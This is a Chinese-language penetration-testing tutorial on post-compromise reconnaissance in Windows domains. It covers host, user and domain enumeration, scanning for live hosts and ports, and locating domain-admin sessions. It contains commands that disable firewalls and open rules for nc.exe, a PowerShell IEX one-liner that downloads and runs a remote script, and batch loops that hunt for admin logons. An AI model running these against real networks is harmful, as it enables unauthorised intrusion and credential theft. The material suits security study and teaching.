在内网渗透测试环境中,有很多设备和防护软件,通过收集目标内网的信息,洞察内网网络拓扑结构,便于找出内网中最薄弱的环节。信息收集的深度,直接关系到内网渗透测试的成败。

渗透测试人员进入内网后,面对的是一片“黑暗森林”,首先需要对当前所处的网络环境进行判断:

  1. 我是谁?–对当前机器角色的判断。

    判断当前的机器是普通的 Web 服务器、开发测试服务器、公共服务器、文件服务器、代理服务器、DNS 服务器还是存储服务器等。具体的判断过程,是根据机器的主机名、文件、网络连接等情况综合完成的。

  2. 这是哪?–对当前机器所处网络环境的拓扑结构进行分析和判断。

    对所处内网进行全面的数据收集和分析整理,绘制出大致的内网整体拓扑结构。

  3. 我在哪?–对当前机器所处区域的判断。
    判断基础处于网络拓扑中的哪个区域,是在 DMZ、办公区还是核心区。当然,这里的区域不是绝对的,只是一个大概的环境,处于不同位置的网络,环境不一样,区域界限也不一定明显。

收集本机信息

本机信息包括操作系统、权限、内网 IP 地址段、杀毒软件、端口、服务、补丁更新频率、网络连接、共享、会话等。如果是域内主机,操作系统、应用软件、补丁、服务、杀毒软件一般都是批量安装的。通过本机的相关信息,可以进一步了解整个域的操作系统版本、软件及补丁安装情况、用户命名方式等。

查询网络配置信息

1
ipconfig /all

查询操作系统及软件信息

  1. 查询操作系统和软件版本

    1
    2
    systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
    systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

  2. 查看系统体系架构

    1
    echo %PROCESSOR_ARCHITECTURE%

  3. 查看安装的软件及版本、路径等

    1
    wmic product get name, version

    1
    powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name,version"

查询本机服务信息

1
wmic service list brief

查询进程列表

1
tasklist

查看进程信息:

1
wmic process list brief

查看启动程序信息

1
wmic startup get command,caption

查看计划任务

Windows 工作排程器 (Windows Task Scheduler),它使用 /v 参数来请求详细显示,使用 /fo LIST 参数来将显示格式化成易于阅读的列表。这个命令可以用来验证创建的任务有预期的循环模式。

1
schtasks /query /fo LIST /v
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Active code page: 65001

C:\Users\001>schtasks /query /fo LIST /v

Folder: \
INFO: There are no scheduled tasks presently available at your access level.

Folder: \Microsoft
INFO: There are no scheduled tasks presently available at your access level.

Folder: \Microsoft\Windows
INFO: There are no scheduled tasks presently available at your access level.

Folder: \Microsoft\Windows\Active Directory Rights Management Services Client
HostName: WIN-7
TaskName: \Microsoft\Windows\Active Directory /
Rights Management Services Client\AD /
RMS Rights Policy Template Management (Automated)
Next Run Time: Disabled
Status:
Logon Mode: Interactive/Background
Last Run Time: N/A
Last Result: 1
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: A device attached to the system is not functioning.

查看开机时间

1
net statistics workstation

查询用户列表

(1)查看本机用户列表:

1
net user

通过分析本机用户列表,可以找出内网机器的命名规则,特别是个人机器的名称,可以用来推测整个域的用户命名方式。

(2)获取本地管理员信息(通常包含域用户):

1
net localgroup administrators

默认 Domain Admins 组中为域内机器的本地管理员用户,真实环境中,为了方便管理,会有域用户被添加为域机器的本地管理员用户。

(3)查看当前在线用户

1
query user || qwinsta

查询客户端会话列表

Win 7 关闭防火墙:

1
netsh firewall set opmode disable

Win Server 2008 R2 将 Win 7 的 C 盘映射到本机作为 F 盘;

1
net use F: \\192.168.1.3\C$

管理员身份运行 CMD 查看会话:

1
net session

查询端口列表

查看端口列表、本机开放端口及对应服务和应用程序:

1
netstat -ano

可先通过网路连接初步判断(例如,在代理服务器中很可能会有很多机器开放了代理端口,更新服务器可能开放了更新端口 8530,DNS 服务器可能开启了 53 端口等),再根据其他信息进行综合判断。

查看补丁列表

1
systeminfo

需要注意系统版本、位数、域、补丁信息及更新频率等,域内主机的补丁通常是批量安装的,通过查看本地补丁列表,就可以找到未打补丁的漏洞。

Microsoft Windows Management Instrumentation (WMI) offers numerous classes and properties that you can use to retrieve information about local and remote computers. The Windows Management Instrumentation Command-line (WMIC) utility brings that functionality to the command line. This article explores how you can use the Windows Management Instrumentation Command-line utility to retrieve the IDs of all the hotfixes installed on the local machine.

使用 wmic 命令查看安装在系统中的补丁:

1
wmic qfe get Caption,Description,HotFixID,InstalledOn #QuickFixEngineering

获取到补丁的名称、描述、ID、安装时间等信息:

查询本机共享列表

查看本机共享列表和可访问的域共享列表(与共享在很多时候是相同的):

1
net share

利用 wmic 命令查找共享列表:

1
wmic share get name,path,status

查询路由表及 ARP 缓存表

查询路由表:

1
route print

查询所有可用接口的 ARP(地址解析协议)缓存表(基于 ARP 发现内网存活主机):

1
arp -a

ARP(Address Resolution Protocol)即地址解析协议,用于实现从 IP 地址到 MAC 地址的映射,即询问目标 IP 对应的 MAC 地址。(图解ARP协议(一)

查询防火墙相关配置

(1)关闭防火墙

1
2
3
4
# Windows Server 2003 及之前的版本
netsh firewall set opmode disable
# Windows Server 2003 之后的版本
netsh advfirewall set allprofiles state off

(2)查看防火墙配置

1
netsh firewall show config

(3)修改防火墙配置

  • 允许指定程序进入

    1
    2
    3
    4
    # <= Windows Server 2003
    netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
    # >= Windows Server 2003
    netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"
  • 允许指定程序退出

    1
    netsh advfirewall firewall add rule name="Allownc" dir=out action=allow program="C:\nc.exe"
  • 允许 3389 端口放行

    1
    netsh advfirewall firewall add rule name="Remote Desktop"  protocol=TCP dir=in localport=3389 action=allow

(4)自定义防火墙日志的存储位置

1
netsh avdfirewall set currentprofile logging filename "C:\Windows\Temp\fw.log"

查看代理配置情况

1
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

查询并开启远程连接服务

(1)查看远程连接端口

1
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber

(2)开启 3389 端口

1
2
3
4
5
6
# Windows Server 2003
wmic path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
# Windows Server 2008 / 2012
wmic /namesapce:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
wmic /namesapce:\\root\cimv2\terminalservices path win32_terminalservicesetting where (TerminalName != "RDP-Tcp") call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

自动收集信息

WMIC

WMIC(Windows Management Instrumentation Command-Line, Windows 管理工具命令行) 是最有用的 Windows 命令行工具。在默认情况下,任何版本的 Windows XP 的低权限用户不能访问 WMIC,Windows 7 以上版本的低权限用户允许访问 WMIC 并执行相关查询操作。

wmic_info.bat:

1
2
3
4
5
6
7
8
9
10
11
12
13
for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"
wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
wmic USERACCOUNT list full /format:"%var%" >> out.html
wmic group list full /format:"%var%" >> out.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html
wmic netuse list full /format:"%var%" >> out.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html

Empire

Empire 是一款类似 Metasploit 的 PowerShell 可视化后期渗透测试框架,建立在密码安全通信和灵活的架构上。Empire 实现了无需 powershell.exe 就可运行 PowerShell 代理的功能,可快速部署后期漏洞利用模块,从键盘记录器到 Mimikatz,并且能够适应通信躲避网络检测,所有的这些功能都封装在一个以实用性为重点的框架中。

Empire 提供了可用于收集主机信息的模块。例如 usemodule situational_awereness/host/winenum,即可查看本机用户、域组成员、密码设置时间、剪贴板内容、系统基本信息、网络适配器信息、共享信息等。

另外,situation_awareness/host/computerdetails 模块几乎包含了系统中所有有用的信息,例如目标主机事件日志、应用程序控制策略日志,包括 RDP 登录信息、PowerShell 脚本运行和保存的信息等(运行该模块需要管理员权限)。

- 参考 -

[1] 【技术分享】一篇文章精通PowerShell Empire 2.3(上)
[2] Empire 的进攻性研究

查询当前权限

查看当前权限

1
whoami
  • 本地普通用户

  • 本地管理员用户

  • 域内用户

如果当前内网中存在域,那么本地普通用户只能查询本机相关信息,不能查域信息,而本地管理员和域内用户可以查询域信息。其原理是:域内所有的查询都是通过域控制器实现的(基于 LDAP 协议),而这个查询需要经过权限认证,所以只有域用户才拥有这个权限;当域用户自行查询命令时,会自动使用 Kerberos 协议进行认证,无需额外输入账号和密码。

本地管理员 Administrator 权限可以直接提升为 NTAuthority 或 System 权限,因此,在域中,除普通用户外,所有机器都有一个机器用户(用户名是机器名机上$)。在本质上,机器的 System 用户对应的就是域里面的机器用户。所以,使用 System 权限也可以运行域内的查询命令。

获取域 SID

1
whoami /all

当前域 hack.site 的 SID 为 S-1-5-21-313574889-3468111967-1448950884,域用户 001 的 SID 为 S-1-5-21-313574889-3468111967-1448950884-1109。

查询指定用户信息

1
net user 001 /domain

判断是否在域

获得了本机的相关信息后,就要判断当前内网中是否存在域。如果当前内网中存在域,就需要判断所控主机是否在域内。

ipconfig

1
ipconfig /all

查看网关 IP 地址、DNS 的 IP 地址、域名、本机是否和 DNS 服务器处于同一网段等信息:

然后通过反向解析查询命令 nslookup 来解析域名的 IP 地址,进行对比,从而判断域控制器和 DNS 服务器是否在同一台服务器上:

systeminfo

1
systeminfo

即域名,登录服务器即域控制器,若域为 WORKGROUP ,表示当前服务器不在域内。

查询当前登陆域

1
net config workstation

判断主域

1
net time /domain
  • 存在域,但当前用户不是域用户:

  • 存在域,且当前用户是域用户:

  • 当前网络环境为工作组,不存在域:

探测域内存活主机

内网存活主机探测是内网渗透测试中不可或缺的一个环节,可在白天和晚上分别进行探测,以对比分析存活主机和对应的 IP 地址。

利用 NetBIOS 协议

NetBIOS 是局域网程序使用的一种应用程序编程接口(API),为程序提供了请求低级别服务的统一命令集,为局域网提供了网络及其他特殊功能。几乎所有的局域网都是建立在 NetBIOS 协议基础上工作的。NetBIOS 也是计算机的标识名,主要用于局域网中计算机的互访。 NetBIOS 的工作流程就是正常的机器名解析查询应答过程,因此推荐优先使用。

nbtscan 是一个扫描 Windows 网络 NetBIOS 信息的小工具,身材娇小,简单快速,但只能用于局域网,可以显示 IP,主机名,用户名称和 MAC 地址等等。nbtscan 有 Windows 和 Linux 两个版本,体积小,不需要安装特殊的库或 DLL 即可运行。

1
nbt.exe

利用 ICMP 协议

ICMP Ping 就是向目标主机发送 ICMP 信息报文,目标主机(有时是路由器)回应 ICMP 信息报文或差错报文,Ping 程序根据这些收到的 ICMP 报文,以知道目标主机的可达性。依次对内网中的每个 IP 地址执行 ping 命令,可以快熟找出内网中所有存活主机。/L 参数指定以增量形式从开始到结束的一个数字序列,(1, 1, 254) 从 1 开始,步长为 1,最大值为 254。-w 参数指定等待响应时间为 1 s,-n 指定发送一次。

1
for /L %I in (1, 1, 254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="

ARP 扫描探测

ARP(Address Resolution Protocol)即地址解析协议,通过解析网路层地址来找寻数据链路层地址的一个在网络协议包中极其重要的网络传输协议。根据 IP 地址获取物理地址的一个 TCP/IP 协议。主机发送信息时将包含目标 IP 地址的 ARP 请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址。

  1. arp-scan

    自定义掩码,指定扫描范围:

    1
    arp.exe -t 192.168.1.0/20

  2. Empire 中的 arpscan 模块

  3. Empire Invoke-ARPScan.ps1

    1
    powershell.exe -exec bypass -Command "& {Import-Module C:\Users\001\Desktop\Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR 192.168.1.0/20}" >> C:\Users\001\Desktop\log.txt
  4. TCP/UDP 端口扫描探测内网

    ScanLine is a command-line port scanner for all Windows platforms. It can perform traditional ICMP “pinging”, optional additional ICMP TimeStamp scanning, can show host response times and number of hops, do TCP scanning, simple UDP scanning, banner grabbing and hostname resolving.

    1
    sl.exe -h -t 22,80-89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306, -u 53,161,137,139 -o C:\Users\001\Desktop\log.txt -p 192.168.1.1-254

扫描域内端口

Telnet

Telnet 协议是 TCP/IP 协议族的一员,是 Internet 远程登录服务的标准协议和主要方式。如果只是想探测某台主机的某个常规高危端口是否开放,使用 Telnet 命令是最方便的。

1
telnet DC 3389

S 扫描器

S 扫描器是早期的一种快熟端口扫描工具,支持大网段扫描,特别适合运行在 Windows Server 2003 以下版本的操作系统中。

1
2
# s.exe TCP/SYN StartIP [EndIP] Ports [Threads] [/Banner] [/Save]
s.exe TCP 192.168.1.1 192.168.1.254 445,3389,1433,7001,1099,8080,80,21,22,23,25,110,3306,5432,6379,2049,111 256 /Banner /Save

Metasploit 端口扫描

PowerSploit Invoke-PortScan.ps1

1
2
3
4
# 无文件形式扫描
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1'); Invoke-PortScan -Hosts 192.168.1.0/24 -T 4 -ports '80,445,1433,8080,3389' -oA C:\windows\temp\res.txt"
# 文件落地扫描
powershell.exe -exec bypass -Command "& {Import-Module C:\Users\001\Desktop\Invoke-PortScan.ps1; Invoke-PortScan -Hosts 192.168.1.0/24 -T 4 -ports '80,445,1433,8080,3389' -oA C:\Users\001\Desktop\res.txt }"

Nishang Invoke-PortScan.ps1

1
powershell.exe -exec bypass -Command "& {Import-Module C:\Users\001\Desktop\Invoke-PortScan.ps1; Invoke-PortScan -StartAddress 192.168.1.1 -EndAddress 192.168.1.254 -ResolveHost -ScanPort -TimeOut 500}"

端口 Banner 信息

如果通过扫描发现了端口,可以使用客户端连接工具或者 nc ,获取服务端的 Banner 信息。获取 Banner 信息后,可以在漏洞库中查找对应 CVE 编号的 POC、EXP,在 ExploitDBSeebug 等平台上查看相关的漏洞利用工具,然后到目标系统中验证漏洞是否存在,从而有针对性地进行安全加固。

常见端口及说明如下:

  • 文件共享服务端口
端口号 端口说明 使用说明
21、22、69 FTP/TFTP 文件传输协议 允许匿名的上传、下载、爆破和嗅探操作
139 SAMBA 服务 爆破、未授权访问、远程代码执行
389 LDAP 目录访问协议 注入、允许匿名访问、弱口令
2049 NFS 服务 配置不当
  • 远程连接服务端口
端口号 端口说明 使用说明
22 SSH 远程连接 爆破、SSH 隧道及内网代理转发、文件传输
23 Telnet 远程连接 爆破、嗅探、弱口令
3389 RDP 远程桌面连接 Shift 后门(Windows Server 2003 以下版本)、爆破
5632 PcAnywhere 服务 抓取密码、代码执行
5900 VNC 弱口令爆破
  • Web 应用服务端口
端口号 端口说明 使用说明
80、443、8080 常见的 Web 服务端口 Web 攻击、爆破、对应的服务器版本漏洞
7001、7002 WebLogic 控制台 Java 反序列化、弱口令
8080、8089 JBoss/Resin/Jetty/Jenkins 反序列化、控制台弱口令
9090 WebSphere 控制台 Java 反序列化、弱口令
4848 GlassFish 控制台 弱口令
1352 Lotus Domino 邮件服务 弱口令、信息泄露、爆破
10000 Webmin 控制面板 弱口令
  • 数据库服务端口
端口号 端口说明 使用说明
3306 MySQL 注入、提权、爆破
1433 MSSQL 注入、提权、爆破、SA 弱口令
1521 Oracle TNS 爆破、注入、反弹 Shell
5432 PostgreSQL 爆破、注入、弱口令
27017、27018 MongoDB 爆破、未授权访问
6379 Redis 未授权访问、弱口令爆破、主从复制
5000 Sysbase/DB2 数据库 爆破、注入
  • 邮件服务端口
端口号 端口说明 使用说明
25 SMTP 邮件服务 邮件伪造
110 POP3 协议 嗅探、爆破
143 IMAP 协议 爆破
  • 网络常见协议端口
端口号 端口说明 使用说明
53 DNS 域名系统 允许区域传送、DNS 劫持、缓存投毒、欺骗
67、68 DHCP 服务 劫持、欺骗
161 SNMP 协议 爆破、搜索目标内网信息
  • 特殊服务端口
端口号 端口说明 使用说明
2181 ZooKeeper 服务 未授权访问
8069 Zabbix 服务 远程执行、SQL 注入
9200、9300 Elasticsearch 服务 远程执行
11211 Memcached 服务 未授权访问
512、513/514 Linux rexec 爆破、远程登录
873 rsync 服务 匿名访问、文件上传
3690 SVN 服务 SVN 泄露、未授权访问
50000 SAP Management Console 远程执行

收集域内基础信息

查询域

1
net view /domain

域内计算机

1
net view /domain:HACK

可通过主机名对主机角色将进行初步判断,dev 可能为开发服务器、webapp 可能为 Web 服务器、NAS 可能为存储服务器、fileserver 可能为文件服务器等。

域内所有用户列表

1
net group /domain

在默认情况下 Domain Admins 和 Enterprise Admins 对域内所有域控制器有完全控制权限。

域成员计算机列表

1
net group "Domain Computers" /domain

获取域密码信息

1
net accounts /domain

获取域信任信息

1
nltest /domain_trusts # Network Location Test 查询工作站与域控间的信任关系

查找域控制器

DC 机器名

1
nltest /DCLIST:HACK # -> DC

1
netdom query pdc

DC 主机名

1
nslookup -type=SRV _ldap._tcp # -> dc

当前时间

通常情况下,时间服务器为主域控制器。

1
net time  /domain

域控制器组

在实际网络中,一个域内一般存在两台或两台以上的域控制器,一旦主域控制器发生故障,备用的域控制器就可以保证域内的服务和验证工作正常进行。

1
net group "Domain Controllers" /domain

域内用户和管理员

所有域用户列表

1. 向域控制器进行查询

1
net user /domain

krbtgt 用户不进可以创建票据授权服务(TGS)的健米密钥,还可以实现多种域内权限持久化方法。

2. 获取域内用户的详细信息

1
wmic useraccount get /all

3. 查看存在的用户

Dsquery is a command-line tool that is built into Windows Server 2008. It is available if you have the Active Directory Domain Services (AD DS) server role installed. To use dsquery, you must run the dsquery command from an elevated command prompt. To open an elevated command prompt, click Start, right-click Command Prompt, and then click Run as administrator.

1
dsquery user

常见的 DsQuery 查询模块:

4. 查询本地管理员用户

1
net localgroup administrators

Domain Admins 组中的用户默认为域内机器的本地管理员用户。

域管理员用户组

1
net group "domain admins" /domain

1
net group "Enterprise Admins" /domain

定位域管理员

内网渗透和常规的渗透测试是截然不同的,内网渗透的需求是:获取内网中特定的用户或机器权限,进而获取特定的资源,对内网的安全性进行评估。

在一个域中,当计算机加入域,成为域的成员主机时,系统会自动将域管理员组添加到本地系统管理员,域管理员组的成员均访问本地计算机,且具备完全控制权限。

定位域内管理员的常规渠道,一是日志,二是会话。日志是指本地机器的管理员日志,可使用脚本或 Wevtutil 工具导出并查看。会话是指域内每台机器的登录会话,可使用 netsess.exe 或 PowerView 等工具查询(可匿名查询,无需权限)。

假设在 Windows 域中获取到了普通用户权限,希望在域内横向移动,需要知道域内用户登录的位置、是否是任何系统的本地管理员、所属的组、是否有权限访问文件共享等。枚举主机、用户和组,有助于更好地了解域的布局。

常见的域管理员定位工具有 psloggedon.exe、PVEFindADUser.exe、netsess.exe 等,以及 hunter、NetView 等。在 Powershell 中,常用的工具是 PowerView。

PsLoggedOn.exe

使用 PsLoggedOn.exe 可以查看本地登录的用户和通过本地计算机或远程计算机的资源登录的用户。如果指定的是用户名而不是计算机名,PsLoggedOn.exe 会搜索网上邻居中的计算机,并显示该用户当前是否已登录。其原理是通过该检查注册表 HKEY_USERS 项的 key 值来查询哪些用户登陆过(需要调用 NetSessionEnum API),某些功能需要管理员权限才能使用。

1
2
3
4
5
6
7
8
9
10
11
C:\Users\001\Desktop>PsLoggedon64.exe /?

PsLoggedon v1.35 - See who's logged on
Copyright (C) 2000-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

Usage: PsLoggedon64.exe [-l] [-x] [\\computername]
or PsLoggedon64.exe [username]
-l Show only local logons
-x Don't show logon times
-nobanner Do not display the startup banner and copyright message.

PVEFindADUser.exe

PVEFindADUser.exe 可用于查找活动目录用户登录的位置,枚举域用户,以及查找在特定计算机上登录的用户,包括本地用户、通过 RDP 登录的用户、用于运行服务和计划任务的用户。

前提条件:.NET Framework 2.0,管理员权限。

NetView.exe

NetView.exe 是一个枚举工具,使用 WinAPI 枚举系统,利用 NetSessionEnum 寻找登录会话,利用 NetShareEnum 寻找共享,利用 NetWkstaUserEnum 枚举登录的用户。同时 NetView.exe 能够查询共享入口和有价值的用户。NetView.exe 的绝大部分功能不需要管理员权限就可以使用。

Nmap NSE

如果存在域账户或本地账户,则可以使用 Nmap 的 smb-enum-sessions.nse 引擎(枚举在本地或通过 SMB 共享登录到系统的用户)获取远程主机的登录会话(无需管理员权限)。

1
2
3
4
5
6
7
8
9
10
11
# Example Usage
nmap --script smb-enum-sessions.nse -p445 <host>
sudo nmap -sU -sS --script smb-enum-sessions.nse -p U:137,T:139 <host>
# Script Output
Host script results:
| smb-enum-sessions:
| Users logged in:
| | TESTBOX\Administrator since 2008-10-21 08:17:14
| |_ DOMAIN\rbowes since 2008-10-20 09:03:23
| Active SMB Sessions:
|_ |_ ADMINISTRATOR is connected from 10.100.254.138 for [just logged in, it's probably you], idle for [not idle]
  • smb-enum-domains.nse

对域控制器进行信息收集,可以获取主机信息、用户、可使用密码策略的用户等。

  • smb-enum-users.nse

在进行域渗透测试时,如果获得了域内某台主机的权限,但是权限有限,无法获取更对的域用户信息,可借助该脚本对域控制器进行扫描。

  • smb-enum-shares.nse

远程遍历远程主机的共享目录。

  • smb-enum-processes.nse

对主机的系统进程进行遍历。

  • smb-enum-sessions.nse

获取域内主机的用户登录会话,查看当前是否有用户登录。

  • smb-os-discovery.nse

收集目标主机的操作系统、计算机名、域名、域林名称、NetBIOS 机器名、NetBIOS 域名、工作组、系统时间等信息。

PowerView 脚本

PowerView is a PowerShell tool to gain network situational awareness on Windows domains. It contains a set of pure-PowerShell replacements for various windows “net *” commands, which utilize PowerShell AD hooks and underlying Win32 API functions to perform useful Windows domain functionality.

  • Invoke-StealthUserHunter

仅需一次查询,获取域内所有用户。从 User.HomeDirectories 中提取所有用户,并对每台机器进行 Get-NetSessions 获取。因为不需要使用 Invoke-UserHunter 对每台机器进行操作,所以这个方法的隐蔽性相对较高(但涉及的机器不一定全面)。PowerView默认使用 Invoke-StealthUserHunter,如果找不到需要的信息,就使用 Invoke-UserHunter。

  • Invoke-UserHunter

找到域内特定的用户群,接收用户名、用户列表和域组查询,接收一个主机列表或查询可用的主机域名,它可以使用 Get-NetSessions 和 GetNetLoggedOn(调用 NetSessionEnum 和 NetWktstaUserEnum API)扫描每台服务器并对扫描结果进行比较,从而找出目标用户集,无需管理员权限。

1
powershell.exe -exec bypass -Command "& {Import-Module C:\Users\001\Desktop\PowerView.ps1; Invoke-StealthUserHunter}"

Empire user_hunter

1
(Empire) > use situational_awareness/network/powerview/user_hunter

查找域管理进程

在渗透测试过程中,一个典型的域权限提升过程,通常围绕着收集明文凭据或者通过 Mimikatz 提权等方法,在获取了管理员权限的系统中寻找域管理员登录进程,进而收集域管理员的凭据。如果内网环境非常复杂,无法立即在拥有权限的系统中获得域管理员进程,那么通常可采用的方法是:在跳板机之间跳转,直至获得域管理员权限,同时进行一些分析工作,进而找到渗透测试的路径。

本地检查

获得域管理员列表

1
net group "Domain Admins" /domain

列出本机的所有进程及进程用户

1
tasklist /v

查询 DC 的域用户会话

在域控制器中查询域用户会话列表,并将其与域管理员列表进行交叉引用,从而得到域管理会话的系统列表。

查询 DC 及 域管理员

1
net group "Domain Controllers" /domain

1
net group "Domain Admins" /domain

活动域会话列表

1
NetSess -h

交叉引用

对域管理员列表和活动会话列表进行交叉引用,可以确定哪些 IP 地址有活动域令牌。

1
FOR /F %i in (dcs.txt) do @echo [+] Querying DC % i && @NetSess.exe -h %i 2>nul > sessions.txt && FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a

* Get Domain Admins(GDA)批处理脚本

远程系统中运行的任务

如果目标机器在域系统中是通过共享的本地管理员账户运行的,可使用如下命令查询系统中的域管理任务:

1
FOR /F %i in (ips.txt #目标系统列表) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && FOR /F %n in (names.txt # 域管理员列表) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause

远程系统 NetBIOS 信息

某些版本的 Windows 操作系统允许用户通过 NetBIOS 查询已登录用户,可通过如下命令扫描远程系统活跃域中的管理会话。

1
FOR /F %i in (ips.txt) do @echo [+] Checking % i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

借助 nbtscan 收集域管理员列表:

1
FOR /F %i in (ips.txt) do @echo [+] Checking % i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

- 参考 -

[1] 《内网安全攻防:渗透测试实战指南》